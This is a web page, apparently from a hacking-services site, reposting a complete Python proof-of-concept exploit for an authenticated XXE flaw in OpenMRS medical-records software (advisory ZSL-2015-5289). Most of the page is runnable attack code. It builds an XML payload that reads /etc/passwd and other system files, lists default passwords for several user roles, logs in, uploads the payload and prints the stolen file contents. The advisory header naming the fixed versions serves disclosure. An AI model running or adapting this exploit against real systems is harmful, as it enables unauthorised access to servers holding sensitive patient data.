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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/env python
#
# OpenMRS 2.3 (1.11.4) XML External Entity (XXE) Processing PoC Exploit
#
#
# Vendor: OpenMRS Inc.
# Product web page: http://www.openmrs.org
# Affected version: OpenMRS 2.3, 2.2, 2.1, 2.0 (Platform 1.11.4 (Build 6ebcaf), 1.11.2 and 1.10.0)
#                   OpenMRS-TB System (OpenMRS 1.9.7 (Build 60bd9b))
#
# Summary: OpenMRS is an application which enables design of a customized medical
# records system with no programming knowledge (although medical and systems analysis
# knowledge is required). It is a common framework upon which medical informatics
# efforts in developing countries can be built.
#
# Desc: The vulnerability is caused due to an error when parsing XML entities within
# ZIP archives and can be exploited to e.g. disclose data from local resources or cause
# a DoS condition (billion laughs) via a specially crafted XML file including external
# entity references.
#
#
# Tested on: Ubuntu 12.04.5 LTS
#            Apache Tomcat/7.0.26
#            Apache Tomcat/6.0.36
#            Apache Coyote/1.1
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2015-5289
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5289.php
#
# Affected: OpenMRS Core, Serialization.Xstream module, Metadata Sharing module
# Severity: Major
# Exploit: Remote Code Execution by an authenticated user
#
# Vendor Bug Fixes:
#
# Disabled serialization and deserialization of dynamic proxies
# Disabled deserialization of external entities in XML files
# Disabled spring's Expression Language support
#
# https://talk.openmrs.org/t/openmrs-security-advisories-2015-11-30/3868
# https://talk.openmrs.org/t/critical-security-advisory-2015-11-25/3824
# https://wiki.openmrs.org/display/RES/Release+Notes+2.3.1
# http://openmrs.org/2015/12/reference-application-2-3-1-released/
# https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.9.10
# https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.10.3
# https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.11.5
# https://modules.openmrs.org/modulus/api/releases/1308/download/serialization.xstream-0.2.10.omod
# https://modules.openmrs.org/modulus/api/releases/1309/download/metadatasharing-1.1.10.omod
# https://modules.openmrs.org/modulus/api/releases/1303/download/reporting-0.9.8.1.omod
#
# OpenMRS platform has been upgraded to version 1.11.5
# Reporting module has been upgraded to version 0.9.8.1
# Metadata sharing module has been upgraded to version 1.1.10
# Serialization.xstream module has been upgraded to version 0.2.10
#
# Who is affected?
#
# Anyone running OpenMRS Platform (1.9.0 and later)
# Anyone running OpenMRS Reference Application 2.0, 2.1, 2.2, 2.3
# Anyone that has installed the serialization.xstream module except for the newly released 0.2.10 version.
# Anyone that has installed the metadatasharing module except for the newly released 1.1.10 version.
#
#
# 02.11.2015
#


import itertools, mimetools, mimetypes
import cookielib, urllib, urllib2, sys
import time, datetime, re, zipfile, os
import binascii

from urllib2 import URLError

global bindata

piton = os.path.basename(sys.argv[0])

def bannerche():
	print '''
 @-------------------------------------------------@
 |                                                 |
 |      OpenMRS 2.3 Authenticated XXE Exploit      |
 |               ID: ZSL-2015-5289                 |
 |       Copyleft (c) 2015, Zero Science Lab       |
 |                                                 |
 @-------------------------------------------------@
          '''
	if len(sys.argv) < 4:
		print '\n[+] Usage: '+piton+' <host> <port> <path> \n'
		print '[+] Example: '+piton+' uat05.zeroscience.mk 8080 openmrs\n'
		sys.exit()

bannerche()

print '[+] Date: '+str(datetime.date.today())

payload = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ZSL [
   <!ENTITY xxe1 SYSTEM "file:////etc/passwd" >
   <!ENTITY xxe2 SYSTEM "file:///etc/resolv.conf" >
   <!ENTITY xxe3 SYSTEM "file:///etc/issue" >]>
<package id="1" uuid="eecb64f8-35b0-412b-acda-3d83edf4ee63">
  <dateCreated id="2">2015-11-06 10:47:19</dateCreated>
  <name>&xxe1;</name>
  <description>&xxe2;</description>
  <openmrsVersion>&xxe3;</openmrsVersion>
  <version>1</version>
</package>'''

print '[+] Creating header.xml file.'
file = open('header.xml', 'w')
file.write(payload)
file.close()
time.sleep(1)
print '[+] Packing evil XML file.'

with zipfile.ZipFile('xxe.zip', 'w') as devzip:
    devzip.write('header.xml')
	
os.remove('header.xml')
print '[+] XML file vacuumed.'
time.sleep(1)

filename = 'xxe.zip'
with open(filename, 'rb') as f:
    content = f.read()
hexo = binascii.hexlify(content)
bindata = binascii.unhexlify(hexo)

print '[+] File xxe.zip successfully created!'
print '[+] Initialising communication.'

host = sys.argv[1]
port = sys.argv[2]
path = sys.argv[3]

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
print '[+] Probing target http://'+host+':'+port+'/'+path+'/'

try:
	checkhost = opener.open('http://'+host+':'+port+'/'+path+'/login.htm')
	hostresp = checkhost.read()
except urllib2.HTTPError, errorzio:
	if errorzio.code == 404:
		print '[+] Error:'
		print '[+] Check your path entry!'
		print
		sys.exit()
except URLError, errorziocvaj:
	if errorziocvaj.reason:
		print '[+] Error:'
		print '[+] Check your hostname entry!'
		print
		sys.exit()

print '[+] Target seems OK.'
print '[+] Login please:'

print '''
Username:  doctor      nurse      clerk      sysadmin      admin      scheduler
Password: Doctor123   Nurse123   Clerk123   Sysadmin123   Admin123   Scheduler123
'''

username = raw_input('[*] Enter username: ')
password = raw_input('[*] Enter password: ')

login_data = urllib.urlencode({
	'username' : username,
	'password' : password,
	'sessionLocation' : '3',
	'redirectUrl' : '/'+path+'/module/metadatasharing/import/list.form'
})

login = opener.open('http://'+host+':'+port+'/'+path+'/login.htm', login_data)
auth = login.read()

for session in cj:
	sessid = session.name

print '[+] Mapping session ID.'
ses_chk = re.search(r'%s=\w+' % sessid , str(cj))
cookie = ses_chk.group(0)
print '[+] Cookie: '+cookie

if re.search(r'Invalid username/password. Please try again', auth):
	print '[+] Incorrect username or password.'
	print
	sys.exit()
else:
	print '[+] Authenticated!'


opener.open('http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/list.form')
print '[+] Sending payload.'

class MultiPartForm(object):

    def __init__(self):
        self.form_fields = []
        self.files = []
        self.boundary = mimetools.choose_boundary()
        return
    
    def get_content_type(self):
        return 'multipart/form-data; boundary=%s' % self.boundary

    def add_field(self, name, value):
        self.form_fields.append((name, value))
        return

    def add_file(self, fieldname, filename, fileHandle, mimetype=None):
        body = fileHandle.read()
        if mimetype is None:
            mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
        self.files.append((fieldname, filename, mimetype, body))
        return
    
    def __str__(self):

        parts = []
        part_boundary = '--' + self.boundary
        
        parts.extend(
            [ part_boundary,
              'Content-Disposition: form-data; name="%s"' % name,
              '',
              value,
            ]
            for name, value in self.form_fields
            )
        
        parts.extend(
            [ part_boundary,
              'Content-Disposition: file; name="%s"; filename="%s"' % \
                 (field_name, filename),
              'Content-Type: %s' % content_type,
              '',
              body,
            ]
            for field_name, filename, content_type, body in self.files
            )
        
        flattened = list(itertools.chain(*parts))
        flattened.append('--' + self.boundary + '--')
        flattened.append('')
        return '\r\n'.join(flattened)

if __name__ == '__main__':
    form = MultiPartForm()
    form.add_field('file"; filename="xxe.zip', bindata)
    form.add_field('url', '')
    request = urllib2.Request('http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/upload.form')
    request.add_header('User-agent', 'joxypoxy 6.5')
    body = str(form)
    request.add_header('Origin', 'http://'+host+':'+port)
    request.add_header('Accept-Encoding', 'gzip, deflate')
    request.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8')
    request.add_header('Accept-Language', 'en-US,en;q=0.8')
    request.add_header('Cache-Control', 'max-age=0')
    request.add_header('Upgrade-Insecure-Requests', '1')
    request.add_header('Referer', 'http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/upload.form')
    request.add_header('Content-type', form.get_content_type())
    request.add_header('Cookie', cookie)
    request.add_header('Content-length', len(body))
    request.add_data(body)
    request.get_data()
    urllib2.urlopen(request).read()


time.sleep(1)
print '[+] Retrieving /etc/passwd:'
time.sleep(2)
getinfo = opener.open('http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/validate.form')
readinfo = getinfo.read()
striphtml = re.sub("<.*?>", "", readinfo)
match = re.search(r'root:.*/bin/bash', striphtml, re.DOTALL)
print '\n--------------------------------------------------------'
print match.group(0)
print '--------------------------------------------------------'

sys.exit()